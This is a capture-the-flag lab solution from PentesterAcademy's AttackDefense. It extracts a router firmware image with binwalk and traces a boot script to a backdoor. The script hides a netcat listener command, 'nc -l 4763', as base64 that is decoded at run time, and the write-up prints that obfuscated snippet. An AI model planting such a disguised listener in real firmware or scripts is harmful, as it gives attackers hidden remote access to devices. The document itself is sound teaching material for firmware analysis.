
ATTACK
DEFENSE
by PentesterAcademy

Name	Network Backdoor I
URL	https://www.attackdefense.com/challengedetails?cid=101
Type	Firmware Analysis : WiFi Routers

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

Step 1: Check the given files

Command: ls -l

```
student@attackdefense:~$ ls -l
total 3840
-rw-r--r-- 1 root root 3932160 Sep 26 01:41 firmware.bin
student@attackdefense:~$
```

Step 2: Extract the firmware using binwalk and check the contents of the current directory again.

Command: binwalk -e firmware.bin

```
student@attackdefense:~$ binwalk -e firmware.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
512           0x200           gzip compressed data, maximum compression, from Unix, NULL date (1970-01-01 00:00:00)
8256          0x2040          LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 3517868 bytes
1167872       0x11D200        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 2165166 bytes, 694 inodes, blocksize: 2621
44 bytes, created: 2018-09-26 01:41:07

student@attackdefense:~$
```

Step 3: Check rc.local which is a well known file used to start processes/perform task on boot up.

```
student@attackdefense:~/_firmware.bin.extracted/squashfs-root$ cat etc/rc.local
# Put your custom commands here that should be executed once
# the system init finished. By default this file does nothing.

BASE="/usr/bin"
FIREWALL_BIN="/usr/bin/firewalld"
FIREWALL_CONF="/etc/conf/firewalld"
FIREWALL_LOGS="/var/log/firewalld/logs"
FIREWALL_ALERTS="/var/log/firewalld/alerts"
FIREWALL_INIT="/etc/init.d/firewalld start"

$FIREWALL_INIT

exit 0
student@attackdefense:~/_firmware.bin.extracted/squashfs-root$
```

We can observe that FIREWALL_INIT point to another file, probably a shell script. Open that

```
student@attackdefense:~/_firmware.bin.extracted/squashfs-root$ cat etc/init.d/firewalld
#!/bin/sh

NUM="64"
START=50
STOP=50
PROCESS="base"
CMD="bmMgLWwgNDc2Mw=="
PROG=/usr/bin/firewallid
NAME=Firewall
PIDCOUNT=0

prepare_cmd () {
        echo "$1" | $PROCESS$NUM -d
}

load_interfaces()
{
        config_get interface "$1" Interface
        interfaces=" ${interface} ${interfaces}"
}

start_service()
{
        [ -s /etc/dropbear/dropbear_rsa_host_key ] || keygen

        . /lib/functions.sh
```

Step 4: Examining the flow reveals that the script is running an unwanted/suspicious command. The command is encoded as base64 and is decoding during execution.

Command: echo “bmMgLWwgNDc2Mw==” | base64 -d

```
student@attackdefense:~/_firmware.bin.extracted/squashfs-root$ echo "bmMgLWwgNDc2Mw==" | base64 -d
nc -l 4763student@attackdefense:~/_firmware.bin.extracted/squashfs-root$
student@attackdefense:~/_firmware.bin.extracted/squashfs-root$
```

It is a netcat listen command for 4763 port.

Flag: nc -l 4763

References:

1. Binwalk (https://github.com/ReFirmLabs/binwalk)